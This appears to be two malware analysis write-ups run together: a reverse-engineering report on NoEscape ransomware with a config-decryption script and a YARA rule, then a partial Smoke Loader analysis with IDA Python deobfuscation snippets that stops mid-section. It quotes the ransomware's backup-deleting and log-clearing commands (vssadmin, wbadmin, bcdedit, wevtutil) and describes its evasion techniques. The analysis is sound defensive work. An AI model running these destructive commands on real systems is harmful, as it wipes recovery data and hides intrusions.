NoEscape ransomware emerged in May 2023 as a financially motivated ransomware group that operates RaaS (Ransomware-as-a-Service). The operators claim to have developed the ransomware and the infrastructure from scratch, though it is believed that their ransomware is a rebranding of the Avaddon ransomware. Additionally, NoEscape operators provide affiliates with a complete platform designed to create and manage payloads customized for both Windows and Linux operating systems. NoEscape is known for its multi-extortion operations, using a TOR-based blog to list victims and host exfiltrated data from those who refuse to meet their demands.

Targets of NoEscape Ransomware

Based on the data we’ve gathered, NoEscape ransomware tends to avoid targeting CIS countries, a trend often observed among ransomware groups originating from Russia. This ransomware group has been active across various industries and sectors.

NoEscape Attacks: A Timeline of Cyber Threats

Explore the timeline of NoEscape ransomware attacks spanning from June to December 2023, revealing the striking impact on 123 victims.

The United States emerged as the primary target, representing 26% of all affected entities.

Further examination reveals the sectors most affected by the ransomware group: manufacturing, education, and construction. With nine manufacturing companies impacted, followed closely by educational institutions and construction firms.

NoEscape DLS (Data Leak Site)

NoEscape ransomware operators are leveraging a TOR-based platform, they list victims and host exfiltrated data from non-compliant targets and also, to contact the actors to know how recover the encrypted data.

Source: ransomware.live

Subsequently, it drops a ransom note labeled as “HOW_TO_RECOVER_FILES.txt,” that guiding victims to access their TOR website and also it contains the victim’s Personal ID, which a unique ID for each victim so they login and contact the actors for additional directives.

Technical Analysis

Let’s dive in to the technical analysis. First, NoEscape has some changes in the code development, the malware core is based on switch cases, and each switch case has a wrapper function for other functions, this wrapper function also has switch cases inside it, and each switch case leads to a function that makes a specific behavior so, to call the malware core function, we should base it 2 numbers, first number to go to the wrapper function and the second number to be applied in the switch cases inside the wrapper function, so the passed argument is an array of 2 numbers, based on these numbers a path will be chosen.

Ransomware Configuration

Ransomware Configuration is divided into two parts, each part has its own RC4 Decryption key, the decryption process is simple and easy just base64 decodes and then RC4 decrypts it using the appropriate RC4 key.

Part one

The first part is related to some used commands and registry keys, as well as some configurations related to ransomware internals. It first defines an array of pointers of base64 encoded streams and then obtains a pointer to this array and saves it in a global variable. The function responsible for obtaining pointers for all streams is sub_422170(), which we have renamed to mw_Get_ptr_to_encoded_streams(). It is the first function to be called upon malware execution.

inside sub_422170() it goes through all part one configuration saves it in a local variable and then saves a pointer to it in array pointers discussed before, it uses function sub_409A30() for this task, it passed a pointer to a global variable for base64 stream and stream length and a local variable that will hold the new pointer which will be saved in pointers array, we have renamed this function to mw_save_ptr_to_1st_arg(), the first processed stream is the RC4 key for part one configuration.

so each time the malware wants to decrypt a specific stream it passes the index for sub_40BDD0() which we have renamed to mw_w_rc4() because this function wraps RC4 decryption operation and base64 decoding.

To handle this decryption stuff, we wrote a Python script to automate decryption and just pass it the index and it will return you the decrypted stream.

import base64
import pefile

def Get_data_and_Key(FilePath):
    pe = pefile.PE(FilePath)
    for section in pe.sections:
        if b'rdata' in section.Name:
            key = section.get_data()   [0xBAF8:0xBAF8 + 0x10]
            data = section.get_data()  [0xBB10:0xBB10 + 0x23A0]
            key2 = section.get_data()  [0xB8AC:0xB8AC + 0x10]
            data2 = section.get_data() [0xFA94:0xFA94 + 0x940]
    return key,data,key2,data2
    
def rc4_decrypt(ciphertext, key):
    # Initialization
    S = list(range(256))
    j = 0
    key_length = len(key)
    plaintext = bytearray(len(ciphertext))
    # Key-scheduling algorithm (KSA)
    for i in range(256):
        j = (j + S[i] + key[i % key_length]) % 256
        S[i], S[j] = S[j], S[i]
    # Pseudo-random generation algorithm (PRGA) and decryption
    i = j = 0
    for idx, byte in enumerate(ciphertext):
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        keystream_byte = S[(S[i] + S[j]) % 256]
        if byte == 0x00 :
             continue
        else :
            plaintext[idx] = byte ^ keystream_byte
    return bytes(plaintext)
    
key,data,key2,data2 = Get_data_and_Key(r"File Path")
part1_decoded = base64.b64decode(data)
part1_decrypted_stream = rc4_decrypt(part1_decoded,key)
part2_streams_list =data2.split(b'\x00\x00\x00\x00')
part2_decrypted_streams=[]
for stream in part2_streams_list :
    if stream:
        b64decoded=base64.b64decode(stream)
        rc4_decrypted = rc4_decrypt(b64decoded,key2)
        part2_decrypted_streams.append(rc4_decrypted)
print(part1_decrypted_stream.decode('utf-8'))
for decrypted_stream in part2_decrypted_streams :
    print(decrypted_stream.decode('utf-8'))

Part Two

This part involves public keys, ransomware notes, and also some Boolean values like the maximum size for a file to be encrypted, or whether to print the note and change the wallpaper, avoided paths and files, etc. The decryption key for this part resides above the configuration itself.

Decrypting it using CyberChef results in a JSON formatted configuration containing some file paths, locker keys (iv_key, mp_key…), extensions, and settings. Additionally, there is a reference for processes and services to be killed and terminated, along with a ransomware note.

Cryptography Flow

As we already have seen the Locker keys part in the above figure the key named mp_key is the RSA public key which will be used later for encrypting session keys or encrypting AES keys or whatever symmetric algorithm is used.

this RSA public key is base64 encoded, and it first Calls CryptAcquireContextW to get a handle to a key container, next it will call CryptStringToBinaryA twice to first get the required size and allocate it and then to decode the public key into bytes.

using the decoded buffer it will import this RSA public to the key container created before or we can call it CSP using CryptImportKey API.

next it will generate public RSA session keys using CryptGenKey API, followed by using CryptExportKey to export public and private keys .

 and here is the RSA Public Exported key, the key handle is saved in eax which is pushed as the fifth argument for CryptExportKey API call, if the function succeeded the return value will be saved in eax it will be 1.

also after generating the private key using the same API, it will use CryptEncrypt API to encrypt the generated private key using the mp_key that was delivered by the malware configuration.

then it will import the public generated key using CryptImportKey API to convert this key from ASCII format to byte format.

Data Collection

After initializing keys and encrypting session keys using public RSA key, NoEscape starts allocating some information about the machine, like iv_key, Generated Extension, Logical Drivers, Remote Drivers, Driver Spaces, it uses GetLogicalDirver which its return value is a bitmask representing the currently available disk drives. Bit position 0 (the least-significant bit) is drive A, bit position 1 is drive B, bit position 2 is drive C, and so on, and then it uses WNetGetConnectionW to get Remote Server names.

it also gets the User Language, and Desktop name, and saves all of that in JSON format.

next, all of these data are encrypted using AES, The AES key is the public key-driven through malware configuration and iv_key also, the Encryption applies CBC mode for padding.

then this data is base64 encoded twice to add layers of obfuscation and appended to the Ransom note.

Abusing Restart Session Manager

NoEscape ransomware abuses restart session manager to terminate any process appended to the file that is going to be encrypted using these techniques.

Abusing Restart Session Manager explanation: CrowdStrike.

Basically, when attempting to open or delete a file that is currently in use by another process, a message box will appear, informing the user that the file cannot be accessed or modified at that time due to its association with an active process.

so when the ransomware process is trying to encrypt a file attached to another process it may alert the user of suspicious behavior, and to avoid that it will for each file try to get a list of all registered processes or services and terminate them.

It initiates a new Restart Manager session by invoking the RmStartSession API, obtaining the session handle in the designated argument pSessionHandle. Subsequently, it proceeds to invoke RmRegisterResources, providing the file it seeks to associate with applications that are currently impeding access to this resource.

Now the file has been registered as a resource for the created session, it will call RmGetList to get a list of all applications and services that are currently using resources that have been registered with the Restart Manager session, and it will check the return value if it is not equal to 234 which is a ENUM for ERROR_MORE_DATA and if it is it will end the function and will not complete.

Next, it will check dwRebootReason which is an ENUM if it is equal to 0x00 which means a system restart is not required.

and if this value is equal to 0x00 it will terminate all processes and applications on the list that block access for the registered resource on this session and after all of that it will end the session using RmEndSession.

Cheating Window

NoEscape can Create a window to trick the user into a running process if he stops it his files will be damaged.

it first defines the Window Class Structure and fills in its elements, one of its elements is a class name, and the malware assigns the string “ShutdownBlockReasonClassName” to the class name

next it will load Icon by using LoadIconW and passing the module address on memory (Malware base address in memory) and Icon name which is 0x7F00, so after building class structure it then will Register the class using RegisterClassExW and pass the created structure.

Mutex Creation

Next, it will resolve a mutant name using the Machine GUID value appended to string ”// Global\“  

it first will try to open the mutex using OpenMutexW and if the mutex is already created it will not recreate it again to ensure that there is only one instance of NoEscape ransomware is running on the system at the time of execution, if not it will create it using CreateMutexW.  

Anti-Debugging

NoEscape applies an anti-debugging method to detect if it is being debugged or not using DR registers which are CPU registers that hold addresses of Hardware breakpoints created by the analyst and it only created using a user debugger, there are 4 Register mean that there are only 4 Hardware breakpoints allowed per thread to be created, NoEscape checks all of these registers.

It also checks using Direct Win APIs like IsDebuggerPresesnt which returns 1 if its, and CheckRemoteDebuggerPresent to check for remote debugging sessions.

Anti-CIS Countries 

The Ransomware checks if any of the installed input languages on the system correspond to CIS countries to prevent the NoEscape execution. So, upon examining function sub_426270, it first calls GetUserDefaultLangID and then It performs AND operation with the returned value against 0x3FF, the result of the AND operation will be measured to many cases, each case is relative to a specific country, If doesn’t match any case it will go through the default case which calls GetUserDefaultUILanguage and perform the same AND operation and Switch cases, if no case hit it will return to alter that this machine is allowed to be ransomed.

Disabling UAC 

NoEscape then will try to Disable UAC (User Access Control) to prevent showing or altering the user of any program needs to be allowed for execution, Disabling UAC and consent prompts can pose serious security risks, as it allows any program or process to run with full administrative privileges without user intervention.

It first decrypts 2 strings 

• ‘EnableLUA’

• ‘SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System’

 Then it Open a handle to this key using RegOpenKeyExW, the handle related to HKEY_LOCAL_MACHINE no the user, Next it will manipulate EnableLUA subkey, this key specifies whether Windows User Account Controls (UAC) notifies the user when programs try to make changes to the computer. UAC was formerly known as Limited User Account (LUA).

It sets this value with 0 using RegSetValueExW which means Windows doesn’t notify the user when programs try to install software or make changes to the computer

It will do the same but this time with another subkey named ConsentPromptBehaviorAdmin, it will set this key value with 0x0000000 and this option allows the Consent Admin to perform an operation that requires elevation without consent or credentials. 

Abusing COM for persistence

After disabling UAC, the malware will try to use COM (Component Object Model) to create a scheduled task.

creating the scheduled task using direct APIs may alter the defensive solutions into a malicious behavior so NoEscape uses COM for this function, so Let’s dive deep into how this is done.

1.It uses GetEnvironmentVariableW to get ‘APPDATA\Roaming’ path, it then extracts the file name and extension using GetModuleFileNameW and then copy it to this path using CopyFileW.  

2.Next It will create a COM instance from ITaskService interface using CoCreateInstance This interface provides access to the Task Scheduler service for managing registered tasks, the Instance handle or ppv is returned in the last argument, Next it will call ITaskService_interface->Connect to start operating with Task Scheduler service manager, if the return value of Connect method is 0 –> S_OK that’s mean that the operation completed successfully. 

3.Next it will call ITaskService::GetFolder, This method retrieves a folder from the Task Scheduler service. Folders in the Task Scheduler provide a way to organize tasks. the third argument will hold a handle or instance for ITaskFolder object, according to MSDN this interface provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder.

4.NoEscape is preparing to register its task with “SystemUpdate” to trick the normal users if they applied some normal investigation, so it deletes any registered task before with this name “SystemUpdate”, it uses ITaskFolder::DeleteTask to delete a task from the folder.

5.Next it will register a new task using ITaskService::NewTask and it returns an empty task definition object to be filled in with settings and properties, the third argument for this API will output with a handle to ITaskDefinition object, This interface represents a task definition, which contains all the settings and properties needed to define a task

HRESULT NewTask(

  [in] DWORD flags,

  [out] ITaskDefinition **ppDefinition

);

6.it will then call [ITaskDefinition::get_principal](https://learn.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-itaskdefinition-get_principal), This method retrieves the principal object associated with the task definition. The principal object contains information about the security context, including the user account, logon type, and other authentication settings, that the task will run under, the return value is saved in the second argument and it will hold IPrincipal object handle which is used to defines the basic functionality of a principal object. 

7.Next it will call IPrincipal::put_RunLevel , This method sets the run level for the task’s security principal. The run level determines the privilege level at which the task will run. It takes an argument that specifies the run level, it uses TASK_RUNLEVEL_HIGHEST as run level value to run the task with the highest privileges, followed by calling ITaskDefinition::get_Triggers This method retrieves the collection of triggers that are configured for the task. Triggers determine when a task will be executed.  

The returned collection typically contains instances of trigger objects ITriggerCollection, each representing a specific type of trigger configured for the task. These triggers define the conditions under which the task should be triggered, such as a specific time, event, or system state change

8.by using ITriggerCollection interface object it will call ITriggerCollection::Create twice to create two different Triggers.

TASK_TRIGGER_DAILY, Triggers the task on a daily schedule. For example, the task starts at a specific time every day, every other day, every third day, and so on.

TASK_TRIGGER_LOGON , Triggers the task when a specific user logs on.

this function returns an ITrigger interface that represents the new trigger, so we have two objects of ITrigger interface one for Daily Trigger and another for Login Trigger.

9.Next it will call IUnknown::QueryInterface to query 2 interfaces objects IDailyTrigger (Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every other day, every third day, and so on) and ILogonTrigger (Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are enumerated and any tasks registered with logon triggers that match the logged-on user are run) 

10.Next It will set the ID and Activation time for the Daily trigger using ITrigger::put_Id and ITrigger::put_StartBoundary 

it then will call IDailyTrigger::put_DaysInterval, This method sets the number of days between each occurrence of the task. It specifies how often the task should repeat, measured in days, it uses 1 day as an interval time between task occurrences.

Next, it will call ITrigger::get_Repetition to get an object from IRepetitionPattern interface, This method retrieves the repetition pattern associated with the trigger. The repetition pattern defines how many times the task should be repeated and the time interval between repetitions.

next, it will call IRepetitionPattern::put_Interval, This method is used to set the time interval between repetitions. You can specify the interval in milliseconds, seconds, minutes, hours, or days, depending on the requirements of your task, and it sets it to PT10M.

• “PT” indicates that the following characters represent a time duration.

• “10M” indicates 10 minutes.

11.it will use the same step done for Daily Trigger which is identified by “Trigger1”, The logon Trigger will be identified by “Trigger2”, the difference thing here is that it will call IRepetitionPattern::put_StopAtDuration with Logon Trigger “Trigger2” to get or set a Boolean value that indicates if a running instance of the task is stopped at the end of the repetition pattern duration, it set it to False (0).

    HRESULT ( *put_StopAtDurationEnd)

    (

    IRepetitionPattern *This,

     VARIANT_BOOL stop

     );

12.Next it will call ITaskDefinition::get_Actions method and it is used to retrieve a collection of actions associated with a task definition. In the context of Windows Task Scheduler programming, it allows you to access the actions that the task performs when triggered, so it returns IActionCollection object, and it uses it to call IActionCollection::Create and it sets the type of the action to TASK_ACTION_EXEC , This action performs a command-line operation. For example, the action could run a script, or start an executable.

13.here we come to the most important phase NoEscape assigns the dropped ransomware path to the created tasks, it uses IExecAction::put_Path to set the task path.

Command Execution

NoEscape for the second time takes advantage of COM interfaces but this time it abuses COM for Command execution, it executes some WMI commands that pave the way for file encryption and removes backups or shadow copies, so let’s delve into this functionality as we did before.

1.it first decrypts the commands it wants to execute using decryption the appropriate index for each command.

2.Next it calls CoCreateInstance to create an object of IWbemLocator, the interface object handle is saved in the last argument for this API.

3.Then NoEscape decrypts a string “ROOT\CIMV2” and then gets a pointer to IWbemLocator::ConnectServer, The IWbemLocator::ConnectServer method creates a connection through DCOM to a WMI namespace on the computer specified in the strNetworkResource parameter, this function returns a object handle to IWbemServices interface, The IWbemServices interface is used by clients and providers to access WMI services. The interface is implemented by WMI and WMI providers and is the primary WMI interface.

The WMI namespace “ROOT\CIMV2” is the default namespace and contains classes for computer hardware and configuration.

4.Next it decrypts 2 strings to be used later (‘Create’ , ‘Win32_Porcess’), and then it calls IWbemServices::GetObjectA , This method provided by the Windows Management Instrumentation (WMI) API, which is used for retrieving a single instance of a managed object from the WMI repository

HRESULT GetObject(

  [in] const BSTR strObjectPath,

  [in] long lFlags,

  [in] IWbemContext *pCtx,

  [out] IWbemClassObject **ppObject,

  [out] IWbemCallResult **ppCallResult

);

this function retrieves an object of a class, but you need to pass it the object path in the first argument (strObjectPath), and in our case, it passes Win32_Process (CIM class definition) as a class name.

The Win32_Process class is a part of the Windows Management Instrumentation (WMI) infrastructure, which provides a standardized way for administrators to query and interact with various aspects of a Windows operating system.

The Win32_Process class represents a running process on a Windows system. It contains information about processes currently executing on the system, such as their process ID, executable path, command line arguments, and more.

the object is returned in the fourth argument ppObject and its type is IWbemClassObject interface.

5.Next it will execute a call to IWbemClassObject::GetMethod to get information about a method, The method in our case is ‘Create’ this method related to Win32_Process Class, so it will get information about Create method and all of that is saved in the fourth argument which will result in IWbemClassObject interface, so to process with Create method it needs to operate with the newly IWbemClassObject object,

6.it then Spawn this object using IWbemClassObject::SpawnInstance to create a new instance of a class.

7.Next it will call IWbemClassObject::Put to set set the property name to ‘CommandLine’ and then to set the command line to be executed by Create Method.

8.Then NoEscape will call IWbemServices::ExecMethod to execute Create Method from Win32_Process Class, and it passes the object path which is Win32_Process and the last spawned IWbemClassObject which holds information about Create Method. 

(IWebmService_interface->lpVtbl->ExecMethod)(
                      IWebmService_interface,
                      Win32_process_string, // Win32_Process
                      0,
                      7,
                      0,
                      IWbemClassObject_interface_ref,
                      &Zero,
                      0);

so when ExecMethod is executed it will execute a call to Create Method, this function creates a new process with the property name specified on Step7, which is the command line that holds the command line NoEscape wants to execute.

uint32 Create(

  [in] string CommandLine,

  [in] string CurrentDirectory,

  [in] Win32_ProcessStartup ProcessStartupInformation,

  [out] uint32 ProcessId

);

and that is how NoEscape Abuses COM and WMI to execute commands stealthily.

and here is a list of executed commands.

	SHADOWCOPY DELETE /nointeractive
	
	wmic SHADOWCOPY DELETE /nointeractive
	
	wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldes
	
	wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0
	
	'wbadmin DELETE BACKUP -deleteOldest
	
	wbadmin DELETE BACKUP -keepVersions:0
	
	vssadmin Delete Shadows /All /Quiet
	
	bcdedit /set {default} recoveryenabled No
	
	bcdedit /set {default} bootstatuspolicy ignoreallfailures

Stopping and Deleting Services

When files are actively used by Windows services, accessing them for encryption may fail. To address this, NoEscape maintains a list of services to terminate and delete. The presence of these services on the system can hinder NoEscape’s operations.

1.It first gets a handle to Service Control Manager using OpenSCManagerW , this API Establishes a connection to the service control manager on the specified computer and opens the specified service control manager database, Next it gets a handle to the service using OpenServiceW  

2.Then it execute a call to QueryServiceStatusEx to get the current statues for the service, The statues statue is saved in a passed structure called SERVICE_STATUS_PROCESS, accessing dwCurrentState from this structure and comparing it against 1 (SERVICE_STOPPED) , which means that this service is stopped right now, so it closes the handle and do nothing.

3.If the service’s current state is not SERVICE_STOPPED , It will check if it is SERVICE_STOP_PENDING which means that this service is stopping, Based on that it will calculate the required time for the pending status to be SERVICE_STOPPED , To do this it access another element on SERVICE_STATUS_PROCESS called dwWaitHint , it expresses the estimated time required for a pending start, stop, pause, or continue operation, in millisecond, And after calculating the required time it executes a sleep call with this value., and it will loop until pending time ends.

4.So all steps were related SERVICE_STOPPED, SERVICE_STOP_PENDING , but what if the service is running and there are other services there execution is dependent on this service, the malware is paving the way to stop the service but can’t do that without stopping services that require this service to be active, So it execute a call to EnumDependentServicesW to retrieve the name and status of each service that depends on the specified service.

5.The LpService argument is an array of ENUM_SERVICE_STATUSA that holds a structure for each enumerated service, And for each service, it will first get a handle using OpenServiceW and then it uses ControlService to stop the service by passing SERVICE_CONTROL_STOP in the second argument, it will check if the service is stopped already after this call through Do While Loop, and when is get the service statue is SERVICE_CONTROL_STOP, it breaks the loop.

6.After doing this for each dependent service on our specific service it will do the same with our service itself it will use ControlService to state the service with SERVICE_CONTROL_STOP Flag, inside a Do While loop it will call QueryServiceStatusEx and check for service statue until it becomes SERVICE_STOPPED if it is it will break the loop.

7.So Now the service is ready to be deleted after stopping it, it will get a handle to service control manager and to the service and then execute a call to DeleteService by passing the service handle.

and here is a list of services to be deleted using this explained way.

Process Termination

There is a list of processes that prevent NoEscape file encryption process, this list contains some Anti-Virus agents or office processes and other services and applications that may make getting file handles impossible, so NoEscape handles this by getting a snapshot of all running processes in the machine using CreateToolHelpSnapShot , using this snapshot it iterates over each process in the snapshot using Process32FirstW to get a PROCESSENTRY32W for the first process in the snapshot and then it uses Process32NextW to get the structure for the next process in the snapshot.

for each process, it gets its name by accessing PROCESSENTRY32W.szExeFile which holds the name of the executable file for the process, and then it compares it against an kill_processes list in the malware configuration.

if the comparison result it an equality it will get a handle to this process using OpenProcess and then using this handle it calls TerminateProcess to kill this process.

Processes List

Deleting Event Logs

NoEscape tries to prevent an investigation by accessing Windows logs and deleting them.

it first decrypts 4 strings that represent 4 elements in Windows log collection sections,

Application, Security, Setup, and System .

next it gets a handle for each log source using OpenEventLogW and it uses the returned handle to clear the logs for this source using ClearEventLogW and it sets 0 in the second argument to indicate that this event log is not backed up. 

next it execute this command 

` for /F “tokens=*” %1 in ('wevtutil.exe el') DO wevtutil.exe cl “%1 `

which iterates over the list of event logs on the system using wevtutil.exe el, and for each event log found, it clears the log using wevtutil.exe cl

INDICATORS OF COMPROMISE

Yara 

rule NoEscape_Ransomware

{

  meta:

    author = "Aziz Farghly - Dark Atlas Squad"
    description = "Detects NoEscape Ransomware"
    sharing = "TLP:WHITE"
	hash = "68ff9855262b7a9c27e349c5e3bf68b2fc9f9ca32a9d2b844f2265dccd2bc0d8"
	hash2 ="68e5caa3f0fd4adc595b1163bf0dd30ca621c5d7a6ad0a20dfa1968346daa3c8"
	hash3 ="68e5caa3f0fd4adc595b1163bf0dd30ca621c5d7a6ad0a20dfa1968346daa3c8"
	hash4 ="8FAF3B4047CD810CA30A6D7174542DC1E1270AD63662AE2F53D222A8A9113AF8"
	data = "04/05/2024"


  strings:

        $op1= {83 F8 01 75 0A E8 [4] 5? 8B E5 5D C3 83 F8 02 75 0A E8 [4] 5? 8B E5 5D C3 83 F8 03 75 0A E8 [4] 5? 8B E5 5D C3
        83 F8 04 74 ?? 83 F8 05 75 0A E8 [4] 5? 8B E5 5D C3 83 F8 06 75 ?? E8 [4] 8B ?? E8 [4] 8B ?? E8 [4] 8B ??
        E8 [4] 8B ?? E8 [4] 5? 8B E5 5D C3
        } // switch cases used in malware core function that determine which method to execute
        
        $s1 = "Trigger1" wide ascii
        $s2 = "Trigger2" wide ascii
        
  condition:
	    uint16(0) == 0x5A4D and all of them 
}

MITRE ATT&CK 

Smoke Loader, software introduced in 2011, is primarily utilized for loading subsequent stages of malware onto systems, particularly information stealers designed to extract credentials through various means.

Its widespread acclaim can be attributed to its advanced Anti-Analysis and Anti-debugging techniques, along with its stealthy behavior, which poses challenges for detection. Notably, Smoke Loader employs consistent efforts to obfuscate its Command and Control (C2) operations by simulating communication requests that resemble legitimate traffic patterns to well-known websites, including microsoft.com, bing.com, adobe.com, and others.

Originally marketed under the name SmokeLdr on dark-web platforms, Smoke Loader has been exclusively available to threat actors based in Russia since 2014.

Smoke Loader is typically disseminated through malicious documents, primarily Word or PDF files, often distributed via spam emails or targeted spear-phishing campaigns. The malware is activated upon interaction with such malicious documents, initiating its deployment onto the system. Subsequently, Smoke Loader injects malicious code into compromised system processes, such as explorer.exe, thereby initiating its malicious operations while masquerading as a normal process.

Figure 1. File analysis on VMRay platform

Technical Analysis

The sample we have today is compiled in May/2023 so not that old.

sha1: C6BA6E91D40AA1507775077F9662ECB25C9F0943

Smoke loader in this campaign comes packaged with Wextract which is a Win32 Cabinet Self-Extractor, understanding Cabinet structure is not hard we need to explore file resources and determine which file will be extracted by this extractor and then extract it statically without the need to run the extractor.

Figure 2. Viewing file type on DIE tool

navigating the resource section, RCData path, and “CABINET” icon, we find a reference to exe files.

then going to “POSTRUNPROGRAM” I found a mention of 5IH0Dp8.exe

Extracting the executables embedded in this file, especially my focus will go on the sample mentioned in “POSTRUNPROGRAM” element.

Stage 2

the sample is an x86 Pe file with high entropy that indicates a decryption or packing stream.

sha1:B450EB89D7EA250547333228E6820A52F22BABB2

Figure 3. Getting File Entropy and and compilation time

the sample also has no imports and strings and got flagged as smoke loader by 60 AV engine through VT API used in PE-Studio software which ensures our predication that this sample is the 2 Stage of Smoke loader campaign and the other one maybe acts as a decoy.

Figure 4. Sample Flaged by VT, No Imports found

I tried to execute the malware using some monitoring tools but found that the process was terminated Immediately there is the basic usage of Windows APIs, which guides us to VM detection or Analysis detection mechanism, so in the next part, I will discuss how Smoke loaders work and how are modules works.

Code Analysis

the next phase of this article will involve static code analysis to get more info about smoke loader functionality.

Opaque Predicates

Smoke Loader welcomed us with anti-analysis techniques called Opaque Predicates, which trick the disassembler engines into producing a wrong code, also the technique acts as control flow obfuscation that makes the analysis process harder and more confusing due to the high usage of garbage code and the use of jnz/jz instructions which are pointing for the same address, the figure below will demonstrate more.

Figure 5. Tricking Disassembler using Opaque Predicates

to make it easier we need to patch this code and fix this junk of jumps by replacing jz/jnz with unconditional jump **** using a simple Python code that uses IDA python to fix it

this code belongs to n1ght-w0lf, big Thanks to him.

import idc  
ea = 0  
while True:  
 ea = min(idc.find_binary(ea, idc.SEARCH_NEXT | idc.SEARCH_DOWN, "74 ? 75 ?"), # JZ / JNZ  
 idc.find_binary(ea, idc.SEARCH_NEXT | idc.SEARCH_DOWN, "75 ? 74 ?")) # JNZ / JZ  
 if ea == idc.BADADDR:  
 break  
 idc.patch_byte(ea, 0xEB) # JMP  
 idc.patch_byte(ea+2, 0x90) # NOP  
 idc.patch_byte(ea+3, 0x90) # NOP

the result was good enough to make the code more readable, the conditional jumps converted into non-conditional jumps, and nopping the bytes of the original jumps

Figure 6. After fixing JMPs using the above script

smoke loader code is so obfuscated that we need to go step by step in the code to identify where the 3 stages will be dropped or downloaded by the Smoke loader, so we still need to fix all of this, by using Python code to fix it and convert all these junk bytes into a nop byte to be able to create a function in IDA pro.

Anti-Debugging

after trying to fix the code we finally got a regular function, smoke reads the PEB structure to obtain access to the element placed at 0xA4 which points to OSMajorVersion which classifies Windows version, if it’s less than 6 which means it’s running in an old windows version [XP or W server 2003]

Figure 7. Getting Windows Version through PEB Structure

Transferring Control Flow

after that, Smokeloader does not use normal calls or jumps, instead, it uses the [push-ret] or [mov [esp] , value ] method cause when the ret instruction is executed it pops the top of the stack into EIP or instruction pointer

Figure 8. Transferring execution using [push ret]

so the sample here will not provide us with the address to jump to, we need to identify it manually, the address is being saved into ecx, and using mul instruction the value is moved to eax and then adding the value in eax to the image base (ebx value ) which in our case is 0x400000 so the next jump will point to 0x403159

Figure 9. Moving 0x3159h to ecx register

Figure 10. Multiplying by ecx will move part of the result to eax

Figure 11. Constructing the final address by adding it to the base address in ebx

Decrypt on-demand

after some reversing and following the malware jumps which were so confusing and made me stuck, I found that Smoke is decrypting the function that will be executed and after executing it re-encrypt it again to stay as stealthy and evasive as it can, the malware saves the offset of the address of the function to be decrypted for further execution and then re-encryption on eax register and the length is saved on ecx register and the Xor decryption key is saved on edx register before calling the decryption routine which also acts as encryption routine after executing the decrypted function

Figure 12. saving the address of the function to be decrypted on eax

Figure 13. The size of the function is saved on ecx

The Xor Key which is specified for this function is saved on edx, every function has its own decryption key.

Figure 14. The Xor Key is saved on edx

and here is the part responsible for applying Xoring.

Figure 15. Xoring Blob

the decryption routine has been called many times and each time it encrypts the address after the call instruction

which is the first call or first function to be decrypted and then executed and then re-encrypted is 0x4011CC

Figure 16. First encrypted function

so to fix this we need to simulate the decryption process and patch the bytes, and because there is not a static pattern Smoke uses it to push arguments to the decryption function(offset,size,xor_key) so I found that there is a 20 function call to mw_decrypt_code() which is responsible for decrypting the code, so I go through all of them manually using a simple Python code to xor and patch the bytes using IDA python

def xor_chunk(offset, size,xor_key):  
 ea = 0x400000 + offset  
 for i in range(size):  
 byte = ord(idc.get_bytes(ea+i, 1))  
 byte ^= xor_key  
 idc.patch_byte(ea+i, byte)

and here is how the code of 0x4011CC after decryption, looks normal and clean.

Figure 17. After Decrypting the code at address 0x4011CC

and here is how the function 0x4011CC will re-encrypt itself after executing its content

Figure 18. The function re-encrypts itself again after execution

using the code above I went through all the encrypted functions and decrypted them one by one and commented in every call to identify what address was being decrypted or encrypted, as you will see in the figure below.

Figure 19. Decryption and Re-Encryption for every function

API Hashing

After decrypting and patching All functions and trying to push comments in assembly view to make it easier to track function calls and control flow, the first decrypted function here is 0x4011CC this function decrypts a small punch of data, using a different XOR key [0x0x880BD3F6]

Figure 20. Sub_4011CC applies decryption stuff

first, this decrypted data did not make sense to me cause I found it useless but then after starting again from the start function, after fixing some of the obfuscation, I found that the malware tried to get the address of ntdll.dll in memory which absolutely will use it to resolve needed APIs via hashing

Figure 21. Getting Ntdll.dll address using PEB

getting into mw_Build_IAT_0() function reveals some secrets about the hashing algorithm used by Smokeloader.

Encrypted Hashes

the below code decrypts hashes and patches them in IDA pro

def xor_chunk_API(offset, n, key, is_big_endian=False):  
 ea = 0x400000 + offset  
 for i in range(0, (n//4)*4, 4):  
   
 chunk = idc.get_bytes(ea + i, 4)  
   
 if is_big_endian:  
 chunk = chunk[::-1]  
   
 value = int.from_bytes(chunk, byteorder='little')  
   
 xor_result = value ^ key  
   
 xor_bytes = xor_result.to_bytes(4, byteorder='little')  
   
 idc.patch_bytes(ea + i, xor_bytes)

here is the hashing routine which is called djb2

Figure 22. API hashing routine

def hash_djb2(API_Name):  
hash = 0x1505  
for x in API_Name:  
hash = (( hash << 5) + hash) + x  
return hash & 0xFFFFFFFF

using HashDb to resolve these APIs

Figure 23. Replacing Hashs with names using HashDB

so after resolving All APIs, which is more than 40 APIs Now we need to go through the malware to identify its behavior.

Skip infection

after API building it will check the location of the current machine via keyboard language, which will be used to avoid infecting some countries (Russia, Ukraine), It will get the keyboard language list and then compare it to constants that refer to the language of Russia and Ukraine

Figure 24. Skip infecting Russia and Ukraine

Check Privilege

after that, it will get the process token via OpenProcessToken API and then try to query [TokenIntegrityLevel] and check if it is less than 0x2000 which means that the malware with a Low integrity level

Figure 25. Getting Process Privalage

and if its integrity is under 0x2000 it will execute a command using ShellExecuteExW to run malware again under the Windows Management Instrumentation Command-line (WMIC)

Figure 26. Executing Malware under WMIC

Anti-Debugging

then Smoke will use native APIs to check if it’s being debugged but this time it will not do it through PEB or using APIs like check Isdebuggerpresent(), instead it will execute a call to NtQueryInformationProcess() using ProcessDebugPort =7 as an information class that Retrieves a DWORD_PTR value that is the port number of the debugger for the process. A nonzero value indicates that the process is being run under the control of a ring 3 debugger.

Figure 27. Checking Debugger existence using native API

if it finds that the malware is being debugged it will terminate the process.

note* as I said before the malware decrypts the code and then re-encrypts it again, but sometimes it embeds some strings inside the decrypted code which prevents IDA from identifying this code as a separate function, imagine that instructions then strings then instructions in the same blob, to summarize that the strings exist in the text section inside the encrypted code and Smoke got access to it by calling the next instruction below the strings which places the address of the string in the top of the stack.

Check AVs & Virtualization

